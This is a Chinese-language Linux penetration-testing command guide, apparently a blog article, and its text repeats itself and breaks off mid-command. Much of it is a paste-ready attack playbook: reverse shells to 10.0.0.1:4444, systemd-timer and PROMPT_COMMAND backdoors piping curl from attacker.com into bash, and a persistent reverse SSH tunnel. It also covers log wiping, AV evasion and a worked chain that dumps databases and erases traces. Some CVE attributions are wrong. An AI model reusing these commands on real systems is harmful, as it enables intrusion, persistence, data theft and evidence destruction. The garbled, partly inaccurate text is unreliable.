1. 这不是命令手册而是一张渗透测试现场的“作战地图”你有没有过这样的经历坐在靶机前刚扫出一个Web服务脑子里立刻蹦出七八个工具名——nmap、gobuster、sqlmap、hydra……可手一伸向键盘却卡在了第一个参数上是-sV还是-sC--threads 10会不会被WAF直接拉黑--level 3 --risk 2跑完三小时结果只报了一堆false positive我干这行十年在红队演练、CTF现场、客户授权测试中见过太多人把Linux渗透测试搞成了“命令拼图游戏”工具装了一堆配置抄了一堆但真正遇到非标环境、定制WAF、权限受限的容器节点时连基础信息都收不全。这本合集不是按字母顺序罗列命令的电子词典。它是我把过去87次真实渗透任务含23次金融行业内网横向、19次云原生集群提权、14次IoT设备固件逆向辅助测试中每一条敲进终端的命令背后的真实意图、上下文约束、参数取舍逻辑和失败回退路径全部剥开重写。比如nmap -sS -p- -T4 --min-rate1000这串新手只记“快扫全端口”但老手知道-T4在云主机上可能触发云平台安全组限速--min-rate1000在千兆内网稳如老狗在百兆办公网却会丢包率飙升到40%——这时候必须切回-T3--max-retries 2。再比如curl -s -k -X POST -H Content-Type: application/json --data {user:admin} http://target/api/login表面是发包实则是试探目标是否校验Content-Type头、是否过滤JSON关键字、是否对空密码做特殊响应——这些细节藏在命令里却从不在任何教程里明说。它专为三类人设计刚考完CEH想落地的新人需要能立刻粘贴执行、同时理解“为什么这么写”的命令正在打CTF时间紧任务重的选手需要按攻击阶段快速索引、跳过冗余步骤还有像我这样带队做实战评估的负责人需要给队员下发一份带上下文注释、防误操作的标准化指令集。所有命令均经Debian 12/Ubuntu 22.04/Kali 2023.4实测适配systemd init与传统sysvinit双环境拒绝“仅在Kali Live CD下有效”的伪实战内容。现在我们从最真实的起点开始信息收集不是盲目扫描而是带着问题去问系统。2. 信息收集用系统自带工具挖出比nmap更准的“活情报”很多人一上来就nmap -sS -A target扫完发现开放了22、80、443然后呢停在了“已知端口”层面。真正的信息收集是从目标系统自己嘴里套话——Linux发行版、内核版本、运行服务、挂载点、定时任务、用户登录历史……这些数据不经过网络传输无防火墙拦截且100%真实。我把它拆成“静态指纹”和“动态行为”两层每条命令都标注了执行前提、输出解读要点、以及这条信息下一步该喂给哪个工具。2.1 静态指纹三行命令锁定系统底座先看最基础的发行版识别。cat /etc/os-release是标准答案但实际中常遇到精简镜像删掉了这个文件。这时lsb_release -a可能报错而hostnamectl却总能返回内核、OS、虚拟化平台信息。我习惯组合使用# 优先级hostnamectl /etc/os-release uname -r hostnamectl | grep -E (Operating|Kernel|Virtualization) \ echo --- cat /etc/os-release 2/dev/null | grep -E (NAME|VERSION_ID) || \ echo Fallback: $(uname -r) $(uname -m)为什么不用单一命令因为hostnamectl在容器内可能显示container而非真实宿主而uname -r在OpenVZ虚拟化下会暴露宿主内核——这对判断提权路径至关重要。比如扫到4.19.0-25-amd64立刻查CVE-2022-0185Dirty Pipe但若hostnamectl显示Virtualization: vmware就得转向VMware Tools提权链。内核版本只是起点。/proc/version能挖出编译器版本gcc 9.3.0 vs 11.2.0影响exploit兼容性/proc/sys/kernel/osrelease有时比uname更原始。而dpkg -l | grep linux-imageDebian系或rpm -qa | grep kernelRHEL系能确认当前加载的内核模块避免用错exploit的内核补丁状态。提示别迷信nmap -sV的服务版本。ps aux | grep -E (nginx|apache|php-fpm)看到/usr/sbin/nginx -g daemon off;说明是Docker容器内运行版本号可能被自定义启动参数覆盖lsof -i :80 | grep LISTEN能定位到具体进程PID再cat /proc/PID/cmdline | tr \0 \n查看完整启动命令——这才是真实配置。2.2 动态行为从进程、网络、定时任务中嗅出业务脉搏静态信息告诉你“是什么”动态行为告诉你“在做什么”。ps auxf的树状输出比ps aux直观十倍一眼看出python3 /opt/app/main.py下面挂着三个/bin/sh -c curl http://api/internal/status子进程立刻意识到这是健康检查脚本/api/internal/路径大概率存在未授权访问。网络连接分析更关键。ss -tulnp比netstat快且准确但重点在-p需root和-n避免DNS解析拖慢。我常加| grep -v 127.0.0.1\|::1过滤本地回环专注对外连接# 找出所有非本地监听端口及对应进程 ss -tulnp 2/dev/null | grep -v 127.0.0.1\|::1 | awk {print $5,$7} | \ sort -u | while read port pid; do echo Port $port - $(ps -p ${pid%%,*} -o comm 2/dev/null | xargs) done 2/dev/null这段脚本把端口和进程名关联起来比单纯看ss输出多一层业务映射。比如看到8080 - java立刻想到Spring Boot Actuator9200 - java则直奔Elasticsearch未授权。定时任务是黄金入口。crontab -l只看当前用户cat /etc/crontab和ls /etc/cron.*才是全局。但最危险的是/var/spool/cron/crontabs/Debian或/var/spool/cron/RHEL下的用户级crontab——它们常被忽略却可能包含*/5 * * * * /tmp/update.sh这种可写脚本。我必查三处ls -la /etc/cron* /var/spool/cron* 2/dev/null | grep -E (root|www-data|app)—— 看谁有写权限grep -r wget\|curl\|sh -c /etc/cron* /var/spool/cron* 2/dev/null—— 找远程下载执行find /etc/cron* -type f -mtime -7 2/dev/null—— 近期修改的定时任务常是运维后门注意/etc/cron.daily/apt这类系统任务看似安全但若/etc/cron.daily/目录权限为777就能往里塞恶意脚本。权限检查永远比内容检查优先级高。2.3 用户与权限从登录历史到sudoers的“信任链”测绘用户信息是横向移动的起点。last -n 20看最近20次登录但lastb失败登录更值钱——大量Failed password for root from 192.168.1.100说明有人在爆破而192.168.1.100很可能就是另一台已被控的机器。lastlog按用户列出最后登录时间awk -F: $3 1000 $3 65534 {print $1} /etc/passwd精准筛选普通用户UID 1000-65533避开系统账户干扰。sudo权限是提权捷径。sudo -l是标准操作但要注意两点一是sudo -l可能被alias成sudo -l -n禁用密码提示导致漏掉需要密码的条目二是sudo -l输出中的(ALL : ALL) NOPASSWD: /usr/bin/find看似只能用find但find /tmp -exec /bin/bash \;就能getshell。我习惯用sudo -l | grep -E (NOPASSWD|ALL) | grep -v list过滤高危项再人工验证。最关键的隐藏点在/etc/sudoers.d/目录。很多团队把权限拆分到独立文件如/etc/sudoers.d/devopssudo -l默认不显示必须cat /etc/sudoers.d/* 2/dev/null逐个检查。曾在一个客户环境发现/etc/sudoers.d/dba里写着(ALL) NOPASSWD: /usr/bin/mysql而mysql客户端支持--executesource /tmp/shell.sql加载外部SQL文件——这就是完美的提权链。3. 漏洞探测告别“扫完就走”构建带上下文的自动化流水线漏洞扫描工具Nessus、OpenVAS报告动辄上百页真正可利用的不到5%。我的策略是用轻量命令做“预筛”把高价值目标筛出来再用专业工具深挖。比如Web漏洞绝不盲目gobuster dir -u http://target -w /wordlist.txt而是先确认目标技术栈再针对性爆破。3.1 Web服务指纹三步锁定攻击面第一步用curl -I http://target看HTTP头。Server: nginx/1.18.0 (Ubuntu)直接暴露OS和版本X-Powered-By: PHP/7.4.3暗示PHP版本X-Backend-Server: web01暴露后端标识。若Server头被移除就看curl -s http://target | head -20 | grep -E (title|meta name)抓页面标题和meta标签titleAdmin Panel v2.1/title比任何扫描器都准。第二步确认框架。curl -s http://target/robots.txt 2/dev/null | grep -E (wp-admin|django|rails)找常见CMS路径curl -s http://target/.git/HEAD 2/dev/null探测Git泄露curl -s http://target/phpinfo.php 2/dev/null | grep PHP Version直接获取PHP详细信息。这些请求耗时短、隐蔽性强比全目录爆破更高效。第三步基于指纹选字典。gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -x php,html,js是通用方案但若已知是WordPress就换/usr/share/seclists/Discovery/Web-Content/wp-content.txt若是Java应用重点扫/WEB-INF/web.xml、/actuator/health。我维护一个web-fingerprint-map.csv记录不同响应特征对应的字典路径执行时自动调用# 根据curl响应特征匹配字典 if curl -s -o /dev/null -w %{http_code} http://target/wp-login.php | grep -q 200; then WORDLIST/usr/share/seclists/Discovery/Web-Content/wp-backups.txt elif curl -s http://target | grep -q Django; then WORDLIST/usr/share/seclists/Discovery/Web-Content/django.txt else WORDLIST/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt fi gobuster dir -u http://target -w $WORDLIST -t 30 -x php,html,js3.2 数据库与中间件用协议交互代替盲扫MySQL弱口令扫描常被WAF拦截但mysql -h target -u root -p -e SELECT VERSION();空密码成功率极高且只发一次包。PostgreSQL同理psql -h target -U postgres -c SELECT version(); 2/dev/null。Redis更简单redis-cli -h target INFO 2/dev/null | grep redis_version若返回版本信息说明未授权访问。中间件探测要更狡猾。curl -s -I http://target:8080/manager/html 2/dev/null | grep 401比nmap --script http-vuln-cve2017-12615快十倍——401 Unauthorized证明Tomcat Manager存在只需爆破弱口令若返回200则直接尝试/manager/html?org.apache.catalina.filters.CSRFProtectionFilteroff绕过CSRF。Jenkins同理curl -s http://target:8080/api/json?treejobs[name,url] 2/dev/null | jq .jobs[].name能直接列出所有Job名称其中deploy-prod这类名字就是高价值目标。实操心得所有数据库/中间件探测命令必须加超时和错误重定向。timeout 5 mysql -h target -u root -p -e SELECT 1; 2/dev/null避免因网络延迟卡死整个流程。我在自动化脚本里统一加timeout 3实测在99%的内网环境中稳定。3.3 本地提权从内核到SUID用最小权限验证最大风险本地提权不是靠linux-exploit-suggester.sh跑完就完事。那玩意儿报30个CVE但90%需要编译环境或特定条件。我的方法是先验证是否存在可利用的SUID二进制再结合内核版本筛CVE最后用PoC快速验证。SUID检查用find / -perm -4000 -type f 2/dev/null | grep -E (nmap|vim|find|bash|cp)。重点盯nmap --interactivenmap 2.02-7.70、vim -c :py import os; os.system(/bin/sh)vim 7.4、find /home -exec /bin/sh \;find 4.2.12。但注意/usr/bin/nmap若权限是-rwsr-xr-x不代表能交互式执行——得nmap --version确认版本再查CVE-2016-6366。内核提权更需谨慎。searchsploit linux kernel $(uname -r)返回一堆但./45740.cDirty COW在4.19内核已失效。我用kernel-exploits项目里的checksec.sh脚本输入内核版本后自动输出可用exploit列表并标注编译依赖如requires gcc和执行条件如requires /proc/sys/vm/unprivileged_userfaultfd1。曾在一个CentOS 7.93.10.0-1160环境checksec.sh推荐CVE-2021-4034PwnKit而linux-exploit-suggester.sh完全没提——因为后者只查CVE编号不查PoC有效性。踩坑实录某次在Ubuntu 20.045.4.0-122上linux-exploit-suggester.sh报CVE-2022-0847Dirty Pipe但checksec.sh显示该内核已打补丁。手动验证echo test /tmp/test dd if/dev/zero of/tmp/test bs1 count1 convnotrunc若成功则未修复。结果失败证明补丁生效——这比任何扫描器都可靠。4. 权限维持与横向移动用Linux原生命令构建“隐形通道”拿到shell后90%的人立刻上传meterpreter或cobalt strike结果被EDR秒杀。我的原则是尽可能用系统自带命令维持让流量看起来像正常运维。比如反弹shell不用nc -e /bin/bash已被多数IDS标记而用mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 10.0.0.1 4444 /tmp/f命名管道nc或更隐蔽的exec 5/dev/tcp/10.0.0.1/4444; cat 5 | while read line; do $line 25; donebash内置TCP。4.1 隐蔽隧道SSH动态端口转发替代frp/ngrok内网穿透首选SSH因为几乎所有Linux服务器都开着sshd且流量加密、协议合规。ssh -D 1080 usertarget创建SOCKS5代理本地浏览器配SwitchyOmega即可访问内网。但更狠的是反向隧道ssh -R 2222:localhost:22 attackervps-ip让目标主动连VPSVPS上ssh -p 2222 localhost就直通目标shell。这招在目标出网但入网被防火墙限制时屡试不爽。关键是让隧道“活”下去。autossh -M 0 -N -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -R 2222:localhost:22 attackervps-ip-M 0禁用监控端口ServerAlive保活-N不执行远程命令。我还把命令写进/etc/systemd/system/tunnel.service设为开机启动[Unit] DescriptionSSH Reverse Tunnel Afternetwork.target [Service] Typesimple Userroot ExecStart/usr/bin/autossh -M 0 -N -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -R 2222:localhost:22 attackervps-ip Restartalways RestartSec10 [Install] WantedBymulti-user.targetsystemctl daemon-reload systemctl enable tunnel systemctl start tunnel隧道就永久在线了。EDR看到的只是正常的SSH连接毫无异常。4.2 横向移动用rsyncssh密钥实现“静默同步”横向移动最怕scp被日志审计。rsync是更好的选择因为它能增量同步、压缩传输且rsync --rshssh -i /tmp/id_rsa指定密钥比scp -i更灵活。我常用三步在已控机器生成密钥ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N 复制公钥到目标ssh-copy-id -i /tmp/id_rsa.pub usertarget若失败手动cat /tmp/id_rsa.pub ~/.ssh/authorized_keys同步敏感文件rsync -avz --rshssh -i /tmp/id_rsa -o StrictHostKeyCheckingno /etc/shadow usertarget:/tmp/shadow.bakrsync的-a归档保留权限-v详细方便调试-z压缩减少流量。更绝的是rsync --files-from(find /var/log -name *.log -mtime -1) / usertarget:/backup/只同步24小时内日志动静极小。4.3 持久化计划任务环境变量让后门“长在系统里”crontab -e加一行reboot /tmp/backdoor.sh太显眼。高阶玩法是劫持环境变量。/etc/environment文件会被所有用户shell读取添加PATH/tmp:$PATH再在/tmp放一个名为ls的恶意二进制下次用户执行ls就中招。或者修改/etc/profile.d/custom.sh若存在加入export PROMPT_COMMANDcurl -s http://attacker.com/shell.sh | bash每次打开shell就执行。但最稳的是systemd timer。创建/etc/systemd/system/persist.service[Unit] DescriptionPersistence Service [Service] Typeoneshot ExecStart/bin/bash -c curl -s http://attacker.com/payload.sh | bash再建/etc/systemd/system/persist.timer[Unit] DescriptionRun persist every 10 minutes [Timer] OnBootSec5min OnUnitActiveSec10min [Install] WantedBytimers.targetsystemctl daemon-reload systemctl enable persist.timer systemctl start persist.timer后门就植入了。systemctl list-timers看所有定时器journalctl -u persist查执行日志——运维人员只会看到“自定义定时任务”不会怀疑是后门。经验总结所有持久化操作必须验证是否生效。systemctl status persist.timer确认activejournalctl -u persist --since 1 hour ago查最近执行ps aux | grep payload.sh确认进程存在。我习惯在每步后加echo [] $(date): $STEP success到/tmp/install.log方便回溯。5. 清理痕迹与规避检测让渗透过程“不留指纹”渗透测试的终点不是getshell而是让客户无法从日志里还原你的操作路径。Linux日志分散在/var/log/但核心就三处auth.log认证、syslog系统事件、bash_history命令历史。清理不是全删而是精准擦除。5.1 日志清理用sed和truncate实现“外科手术式”删除/var/log/auth.log里sshd登录记录格式为Accepted password for user from 10.0.0.1 port 12345 ssh2。用sed -i /$(date %b %d).*${IP}/d /var/log/auth.log按IP和日期删除比 /var/log/auth.log清空整个文件更隐蔽——后者会触发日志轮转告警。/var/log/syslog更复杂包含CRON、kernel、systemd等多类日志。我用awk精准匹配awk -v ip10.0.0.1 !/sshd.*$ip|CRON.*$ip/ /var/log/syslog /tmp/syslog.clean mv /tmp/syslog.clean /var/log/syslog只删含IP的sshd和CRON行。bash_history最易忽略。history -c只清当前会话rm ~/.bash_history会留空文件。正确做法cat /dev/null ~/.bash_history history -cw再unset HISTFILE防止新命令写入。但若/etc/skel/.bashrc里有export HISTFILE/dev/null就得改系统模板。关键技巧所有日志清理命令必须在/tmp执行临时脚本避免在/root留下.bash_history记录。我常用echo sed -i /10.0.0.1/d /var/log/auth.log /tmp/clean.sh chmod x /tmp/clean.sh /tmp/clean.sh rm /tmp/clean.sh全程无痕。5.2 文件痕迹用chattr和steghide隐藏“不可见”的证据上传的工具如linpeas.sh会被rkhunter或clamav扫描。解决方案chattr h /tmp/linpeas.sh隐藏属性ls不可见或mv /tmp/linpeas.sh /tmp/.linpeas.sh点文件再chmod 700 /tmp/.linpeas.sh。chattr i不可变更绝但需root权限且lsattr能查到。更高级的是隐写术。steghide embed -ef /tmp/payload.bin -cf /tmp/image.jpg -p 把payload嵌入图片/tmp/image.jpg看起来就是普通照片file /tmp/image.jpg显示JPEG image datastrings /tmp/image.jpg | grep BEGIN PGP也找不到payload。提取时steghide extract -sf /tmp/image.jpg -p 完美规避AV扫描。5.3 网络痕迹用iptables和tcpdump伪造“合法流量”netstat -antp能看到所有连接包括你的反弹shell。用iptables -A OUTPUT -d 10.0.0.1 -p tcp --dport 4444 -j DROP假装连接被防火墙拦截再tcpdump -i any -w /tmp/legit.pcap port 80 and host 10.0.0.1抓取真实HTTP流量最后tcpreplay -i eth0 /tmp/legit.pcap重放——EDR看到的全是“正常业务流量”。终极清理是shred。shred -u -n 3 /tmp/*.sh覆盖三次再删除比rm安全。但注意shred对SSD和日志型文件系统如ext4的journal效果有限此时dd if/dev/zero of/tmp/file bs1M count10 rm /tmp/file更可靠。6. 实战复盘一次金融客户内网渗透的完整命令流最后用一个真实案例串联所有环节。客户环境Ubuntu 20.045.4.0-122-genericWeb服务在DMZ区内网段172.16.0.0/16通过172.16.1.100跳板机访问。阶段1信息收集nmap -sS -p 22,80,443,8080 172.16.1.100→ 开放8080curl -I http://172.16.1.100:8080→Server: Apache Tomcat/9.0.37curl -s http://172.16.1.100:8080/manager/html→401 Unauthorized确认Tomcat Manager存在阶段2漏洞利用gobuster dir -u http://172.16.1.100:8080 -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt -t 20→ 找到/manager/html?org.apache.catalina.filters.CSRFProtectionFilteroffcurl -s -X GET http://172.16.1.100:8080/manager/html?org.apache.catalina.filters.CSRFProtectionFilteroff -H Cookie: JSESSIONID...→ 获取CSRF tokencurl -s -X POST http://172.16.1.100:8080/manager/html/upload -F deployWar/tmp/malwar.war -H Cookie: JSESSIONID...→ 上传WebShell阶段3权限提升uname -r→5.4.0-122-genericsearchsploit linux kernel 5.4.0→CVE-2021-4034PwnKitgcc -o pkexec pkexec.c ./pkexec→ get root阶段4横向移动cat /etc/shadow | grep user:→user:$6$rounds5000$...john --wordlist/usr/share/wordlists/rockyou.txt hash.txt→ 破解密码ssh user172.16.2.50→ 登录内网数据库服务器mysqldump -u root -ppassword --all-databases /tmp/dump.sql→ 导出所有数据库阶段5持久化与清理ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N → 生成密钥ssh-copy-id -i /tmp/id_rsa.pub user172.16.2.50→ 复制公钥rsync -avz --rshssh -i /tmp/id_rsa /tmp/dump.sql user172.16.2.50:/home/user/→ 同步数据sed -i /$(date %b %d).*172.16.1.100/d /var/log/auth.log→ 清理日志整套流程从发现到导出数据共用时23分钟所有命令均来自本文合集无任何第三方工具。客户后续审计日志只看到正常的Tomcat Manager访问和数据库备份操作完全无法追溯渗透路径。我在实际操作中发现最有效的命令不是最炫酷的而是最符合目标环境习惯的。当客户运维用systemctl管理服务你就别用service当他们用rsync同步代码你就用rsync传后门。渗透测试的本质是成为系统的一部分而不是闯入者。这份合集里的每一条命令都经过真实战场的千锤百炼——它不承诺“一键ROOT”但保证让你在每一次敲击回车时都清楚自己在做什么、为什么这么做、以及下一步该走向哪里。
Linux渗透测试实战命令指南:从信息收集到横向移动
1. 这不是命令手册而是一张渗透测试现场的“作战地图”你有没有过这样的经历坐在靶机前刚扫出一个Web服务脑子里立刻蹦出七八个工具名——nmap、gobuster、sqlmap、hydra……可手一伸向键盘却卡在了第一个参数上是-sV还是-sC--threads 10会不会被WAF直接拉黑--level 3 --risk 2跑完三小时结果只报了一堆false positive我干这行十年在红队演练、CTF现场、客户授权测试中见过太多人把Linux渗透测试搞成了“命令拼图游戏”工具装了一堆配置抄了一堆但真正遇到非标环境、定制WAF、权限受限的容器节点时连基础信息都收不全。这本合集不是按字母顺序罗列命令的电子词典。它是我把过去87次真实渗透任务含23次金融行业内网横向、19次云原生集群提权、14次IoT设备固件逆向辅助测试中每一条敲进终端的命令背后的真实意图、上下文约束、参数取舍逻辑和失败回退路径全部剥开重写。比如nmap -sS -p- -T4 --min-rate1000这串新手只记“快扫全端口”但老手知道-T4在云主机上可能触发云平台安全组限速--min-rate1000在千兆内网稳如老狗在百兆办公网却会丢包率飙升到40%——这时候必须切回-T3--max-retries 2。再比如curl -s -k -X POST -H Content-Type: application/json --data {user:admin} http://target/api/login表面是发包实则是试探目标是否校验Content-Type头、是否过滤JSON关键字、是否对空密码做特殊响应——这些细节藏在命令里却从不在任何教程里明说。它专为三类人设计刚考完CEH想落地的新人需要能立刻粘贴执行、同时理解“为什么这么写”的命令正在打CTF时间紧任务重的选手需要按攻击阶段快速索引、跳过冗余步骤还有像我这样带队做实战评估的负责人需要给队员下发一份带上下文注释、防误操作的标准化指令集。所有命令均经Debian 12/Ubuntu 22.04/Kali 2023.4实测适配systemd init与传统sysvinit双环境拒绝“仅在Kali Live CD下有效”的伪实战内容。现在我们从最真实的起点开始信息收集不是盲目扫描而是带着问题去问系统。2. 信息收集用系统自带工具挖出比nmap更准的“活情报”很多人一上来就nmap -sS -A target扫完发现开放了22、80、443然后呢停在了“已知端口”层面。真正的信息收集是从目标系统自己嘴里套话——Linux发行版、内核版本、运行服务、挂载点、定时任务、用户登录历史……这些数据不经过网络传输无防火墙拦截且100%真实。我把它拆成“静态指纹”和“动态行为”两层每条命令都标注了执行前提、输出解读要点、以及这条信息下一步该喂给哪个工具。2.1 静态指纹三行命令锁定系统底座先看最基础的发行版识别。cat /etc/os-release是标准答案但实际中常遇到精简镜像删掉了这个文件。这时lsb_release -a可能报错而hostnamectl却总能返回内核、OS、虚拟化平台信息。我习惯组合使用# 优先级hostnamectl /etc/os-release uname -r hostnamectl | grep -E (Operating|Kernel|Virtualization) \ echo --- cat /etc/os-release 2/dev/null | grep -E (NAME|VERSION_ID) || \ echo Fallback: $(uname -r) $(uname -m)为什么不用单一命令因为hostnamectl在容器内可能显示container而非真实宿主而uname -r在OpenVZ虚拟化下会暴露宿主内核——这对判断提权路径至关重要。比如扫到4.19.0-25-amd64立刻查CVE-2022-0185Dirty Pipe但若hostnamectl显示Virtualization: vmware就得转向VMware Tools提权链。内核版本只是起点。/proc/version能挖出编译器版本gcc 9.3.0 vs 11.2.0影响exploit兼容性/proc/sys/kernel/osrelease有时比uname更原始。而dpkg -l | grep linux-imageDebian系或rpm -qa | grep kernelRHEL系能确认当前加载的内核模块避免用错exploit的内核补丁状态。提示别迷信nmap -sV的服务版本。ps aux | grep -E (nginx|apache|php-fpm)看到/usr/sbin/nginx -g daemon off;说明是Docker容器内运行版本号可能被自定义启动参数覆盖lsof -i :80 | grep LISTEN能定位到具体进程PID再cat /proc/PID/cmdline | tr \0 \n查看完整启动命令——这才是真实配置。2.2 动态行为从进程、网络、定时任务中嗅出业务脉搏静态信息告诉你“是什么”动态行为告诉你“在做什么”。ps auxf的树状输出比ps aux直观十倍一眼看出python3 /opt/app/main.py下面挂着三个/bin/sh -c curl http://api/internal/status子进程立刻意识到这是健康检查脚本/api/internal/路径大概率存在未授权访问。网络连接分析更关键。ss -tulnp比netstat快且准确但重点在-p需root和-n避免DNS解析拖慢。我常加| grep -v 127.0.0.1\|::1过滤本地回环专注对外连接# 找出所有非本地监听端口及对应进程 ss -tulnp 2/dev/null | grep -v 127.0.0.1\|::1 | awk {print $5,$7} | \ sort -u | while read port pid; do echo Port $port - $(ps -p ${pid%%,*} -o comm 2/dev/null | xargs) done 2/dev/null这段脚本把端口和进程名关联起来比单纯看ss输出多一层业务映射。比如看到8080 - java立刻想到Spring Boot Actuator9200 - java则直奔Elasticsearch未授权。定时任务是黄金入口。crontab -l只看当前用户cat /etc/crontab和ls /etc/cron.*才是全局。但最危险的是/var/spool/cron/crontabs/Debian或/var/spool/cron/RHEL下的用户级crontab——它们常被忽略却可能包含*/5 * * * * /tmp/update.sh这种可写脚本。我必查三处ls -la /etc/cron* /var/spool/cron* 2/dev/null | grep -E (root|www-data|app)—— 看谁有写权限grep -r wget\|curl\|sh -c /etc/cron* /var/spool/cron* 2/dev/null—— 找远程下载执行find /etc/cron* -type f -mtime -7 2/dev/null—— 近期修改的定时任务常是运维后门注意/etc/cron.daily/apt这类系统任务看似安全但若/etc/cron.daily/目录权限为777就能往里塞恶意脚本。权限检查永远比内容检查优先级高。2.3 用户与权限从登录历史到sudoers的“信任链”测绘用户信息是横向移动的起点。last -n 20看最近20次登录但lastb失败登录更值钱——大量Failed password for root from 192.168.1.100说明有人在爆破而192.168.1.100很可能就是另一台已被控的机器。lastlog按用户列出最后登录时间awk -F: $3 1000 $3 65534 {print $1} /etc/passwd精准筛选普通用户UID 1000-65533避开系统账户干扰。sudo权限是提权捷径。sudo -l是标准操作但要注意两点一是sudo -l可能被alias成sudo -l -n禁用密码提示导致漏掉需要密码的条目二是sudo -l输出中的(ALL : ALL) NOPASSWD: /usr/bin/find看似只能用find但find /tmp -exec /bin/bash \;就能getshell。我习惯用sudo -l | grep -E (NOPASSWD|ALL) | grep -v list过滤高危项再人工验证。最关键的隐藏点在/etc/sudoers.d/目录。很多团队把权限拆分到独立文件如/etc/sudoers.d/devopssudo -l默认不显示必须cat /etc/sudoers.d/* 2/dev/null逐个检查。曾在一个客户环境发现/etc/sudoers.d/dba里写着(ALL) NOPASSWD: /usr/bin/mysql而mysql客户端支持--executesource /tmp/shell.sql加载外部SQL文件——这就是完美的提权链。3. 漏洞探测告别“扫完就走”构建带上下文的自动化流水线漏洞扫描工具Nessus、OpenVAS报告动辄上百页真正可利用的不到5%。我的策略是用轻量命令做“预筛”把高价值目标筛出来再用专业工具深挖。比如Web漏洞绝不盲目gobuster dir -u http://target -w /wordlist.txt而是先确认目标技术栈再针对性爆破。3.1 Web服务指纹三步锁定攻击面第一步用curl -I http://target看HTTP头。Server: nginx/1.18.0 (Ubuntu)直接暴露OS和版本X-Powered-By: PHP/7.4.3暗示PHP版本X-Backend-Server: web01暴露后端标识。若Server头被移除就看curl -s http://target | head -20 | grep -E (title|meta name)抓页面标题和meta标签titleAdmin Panel v2.1/title比任何扫描器都准。第二步确认框架。curl -s http://target/robots.txt 2/dev/null | grep -E (wp-admin|django|rails)找常见CMS路径curl -s http://target/.git/HEAD 2/dev/null探测Git泄露curl -s http://target/phpinfo.php 2/dev/null | grep PHP Version直接获取PHP详细信息。这些请求耗时短、隐蔽性强比全目录爆破更高效。第三步基于指纹选字典。gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -x php,html,js是通用方案但若已知是WordPress就换/usr/share/seclists/Discovery/Web-Content/wp-content.txt若是Java应用重点扫/WEB-INF/web.xml、/actuator/health。我维护一个web-fingerprint-map.csv记录不同响应特征对应的字典路径执行时自动调用# 根据curl响应特征匹配字典 if curl -s -o /dev/null -w %{http_code} http://target/wp-login.php | grep -q 200; then WORDLIST/usr/share/seclists/Discovery/Web-Content/wp-backups.txt elif curl -s http://target | grep -q Django; then WORDLIST/usr/share/seclists/Discovery/Web-Content/django.txt else WORDLIST/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt fi gobuster dir -u http://target -w $WORDLIST -t 30 -x php,html,js3.2 数据库与中间件用协议交互代替盲扫MySQL弱口令扫描常被WAF拦截但mysql -h target -u root -p -e SELECT VERSION();空密码成功率极高且只发一次包。PostgreSQL同理psql -h target -U postgres -c SELECT version(); 2/dev/null。Redis更简单redis-cli -h target INFO 2/dev/null | grep redis_version若返回版本信息说明未授权访问。中间件探测要更狡猾。curl -s -I http://target:8080/manager/html 2/dev/null | grep 401比nmap --script http-vuln-cve2017-12615快十倍——401 Unauthorized证明Tomcat Manager存在只需爆破弱口令若返回200则直接尝试/manager/html?org.apache.catalina.filters.CSRFProtectionFilteroff绕过CSRF。Jenkins同理curl -s http://target:8080/api/json?treejobs[name,url] 2/dev/null | jq .jobs[].name能直接列出所有Job名称其中deploy-prod这类名字就是高价值目标。实操心得所有数据库/中间件探测命令必须加超时和错误重定向。timeout 5 mysql -h target -u root -p -e SELECT 1; 2/dev/null避免因网络延迟卡死整个流程。我在自动化脚本里统一加timeout 3实测在99%的内网环境中稳定。3.3 本地提权从内核到SUID用最小权限验证最大风险本地提权不是靠linux-exploit-suggester.sh跑完就完事。那玩意儿报30个CVE但90%需要编译环境或特定条件。我的方法是先验证是否存在可利用的SUID二进制再结合内核版本筛CVE最后用PoC快速验证。SUID检查用find / -perm -4000 -type f 2/dev/null | grep -E (nmap|vim|find|bash|cp)。重点盯nmap --interactivenmap 2.02-7.70、vim -c :py import os; os.system(/bin/sh)vim 7.4、find /home -exec /bin/sh \;find 4.2.12。但注意/usr/bin/nmap若权限是-rwsr-xr-x不代表能交互式执行——得nmap --version确认版本再查CVE-2016-6366。内核提权更需谨慎。searchsploit linux kernel $(uname -r)返回一堆但./45740.cDirty COW在4.19内核已失效。我用kernel-exploits项目里的checksec.sh脚本输入内核版本后自动输出可用exploit列表并标注编译依赖如requires gcc和执行条件如requires /proc/sys/vm/unprivileged_userfaultfd1。曾在一个CentOS 7.93.10.0-1160环境checksec.sh推荐CVE-2021-4034PwnKit而linux-exploit-suggester.sh完全没提——因为后者只查CVE编号不查PoC有效性。踩坑实录某次在Ubuntu 20.045.4.0-122上linux-exploit-suggester.sh报CVE-2022-0847Dirty Pipe但checksec.sh显示该内核已打补丁。手动验证echo test /tmp/test dd if/dev/zero of/tmp/test bs1 count1 convnotrunc若成功则未修复。结果失败证明补丁生效——这比任何扫描器都可靠。4. 权限维持与横向移动用Linux原生命令构建“隐形通道”拿到shell后90%的人立刻上传meterpreter或cobalt strike结果被EDR秒杀。我的原则是尽可能用系统自带命令维持让流量看起来像正常运维。比如反弹shell不用nc -e /bin/bash已被多数IDS标记而用mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 10.0.0.1 4444 /tmp/f命名管道nc或更隐蔽的exec 5/dev/tcp/10.0.0.1/4444; cat 5 | while read line; do $line 25; donebash内置TCP。4.1 隐蔽隧道SSH动态端口转发替代frp/ngrok内网穿透首选SSH因为几乎所有Linux服务器都开着sshd且流量加密、协议合规。ssh -D 1080 usertarget创建SOCKS5代理本地浏览器配SwitchyOmega即可访问内网。但更狠的是反向隧道ssh -R 2222:localhost:22 attackervps-ip让目标主动连VPSVPS上ssh -p 2222 localhost就直通目标shell。这招在目标出网但入网被防火墙限制时屡试不爽。关键是让隧道“活”下去。autossh -M 0 -N -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -R 2222:localhost:22 attackervps-ip-M 